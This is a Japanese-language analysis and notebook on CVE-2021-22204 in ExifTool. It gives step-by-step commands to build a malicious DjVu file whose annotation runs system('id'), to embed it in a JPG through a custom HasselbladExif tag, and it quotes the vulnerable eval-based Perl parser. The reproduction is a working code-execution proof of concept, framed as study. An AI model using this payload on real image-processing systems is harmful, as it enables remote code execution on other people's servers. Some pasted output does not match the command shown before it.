
これはCVE-2021-22204の分析記事になるはずでしたが、むしろ私のメモ帳のようなもので、多くの散らかったものが詰まっています。脆弱性分析記事としてはちょっと余計な話が多いですが、それでも多くのことを学びました。
正直なところ、このツールを使ったことは一度もなく、Perlという言語にもほとんど触れたことがありませんでした。そのため、分析や再現の過程で疑問符だらけでした。分析を始める前に、インターネットで公開されているPoCと、私が抱いた疑問を見てみましょう。
読んだ記事の一つは[1]で、脆弱性の原因について簡潔に説明していますが、私はPerlのコードが読めないため、多くの点が不明でした。その再現手順は以下の通りです。
exiftool 12.23をダウンロード
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
解凍してインストール
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
もちろん、インストールしたくない場合は、exiftool-12.23ディレクトリ内のexiftoolファイルを環境変数PATHの通っているディレクトリに配置するだけでも、exiftoolツールを使えます。Perlは解釈型言語であり、Pythonと似ているからです。
悪意のある画像を作成するために、まず必要なツールをインストール
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
以下のコマンドを実行して悪意のあるdjvuファイルを作成
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# これが最も困惑した点で、なぜ圧縮が必要なのか理解できませんでした(他のPoCでは不要だったため)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 'N,N'形式の任意の数字
# BGjp = JPEG画像を期待するが、/dev/nullを使用して背景画像をなしにできる
# ANTz = 入力ファイルで圧縮されたアノテーションチャンクを書き込む
次に、exiftoolツールでこの悪意のあるファイルを解析すると、idコマンドが正常に実行されたことがわかります
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
先ほどdjvumakeコマンドでdjvu形式ファイルを作成する際に、payloadを圧縮しなくてもよいのでしょうか?分析の観点からは、確認やテストが不便だからです。もちろん可能で、パラメータANTzをANTaに変更するだけです。ここでのANTzとANTaについてはexiftoolの説明ドキュメント[3]を参照できますが、具体的な意味はまだ見つけられていません。標準的な説明が見つからなかったからです。
ここで愚痴を言いたいのですが、
man djvumakeでパラメータの説明を確認しようとしたところ、ANTzとANTaの説明はまったくありませんでした。ドキュメントの日付は2001年で、長い間更新されていないようです。
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTaはdjvuファイル内のmetadataにAnnotationを平文で保存することを示し、ANTzはbzz圧縮形式です。
しかし、djvu形式のファイルはあまり一般的ではありません。特に画像アップロード機能のあるWebサイトでは、ほとんどの場合png/jpg/jpegファイルのみを受け付けます。そのため、悪意のあるdjvuファイルをjpgファイルに変換できれば理想的です。
exiftoolツールは画像の内容を変更するのに役立ちます。悪意のあるdjvuファイルをjpgファイルの適切な位置に挿入するだけでよいのです。具体的にどの位置か、なぜその位置でよいのかは、後で分析する際に説明します。
exiftool設定ファイル eval.config を作成
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b は Tag 'HasselbladExif'[6] に対応
0xc51b => {
# 名前は自由に指定可能。これが受け取るパラメータ名
Name => 'HasselbladExif',
# 書き込み可能な変数の型
Writable => 'string',
# 書き込まれるデータが属する metadata の Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool設定ファイルの書き方については[4][5]を参照してください。次に、普通のjpg画像ファイル poc.jpg を用意し、以下のコマンドを実行します
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
再びexiftoolでpoc.jpgを解析すると、コマンドが正常に実行されます
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
以下の分析は[2]の内容を参考にしています。脆弱性の影響を受けるバージョンはexiftool < 12.24で、問題のファイルは
lib/Image/ExifTool/DjVu.pm (line 202)
関連する関数のコードは以下の通りです
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Perl言語に触れたことがなく、正直なところこのコードが何をしているのかほとんど理解できませんでした。しかし、非常に丁寧なコメントがあるおかげで、この関数の機能を理解する助けになりました。関数のコメントから、この関数はdjvuファイル内のアノテーションデータを解析するためのものであり、コードの構造から再帰的に処理され、アノテーションデータは()で区切られていることがわかります。
コードを理解しやすくするために、また学習の目的も兼ねて、ここでPerlの正規表現の使い方を簡単に紹介します。
Perlの正規表現の使い方は特殊で、これまで私が触れてきた言語とは異なります。Perlの正規表現には3つの形式があります:
m//、mは省略可能s///tr///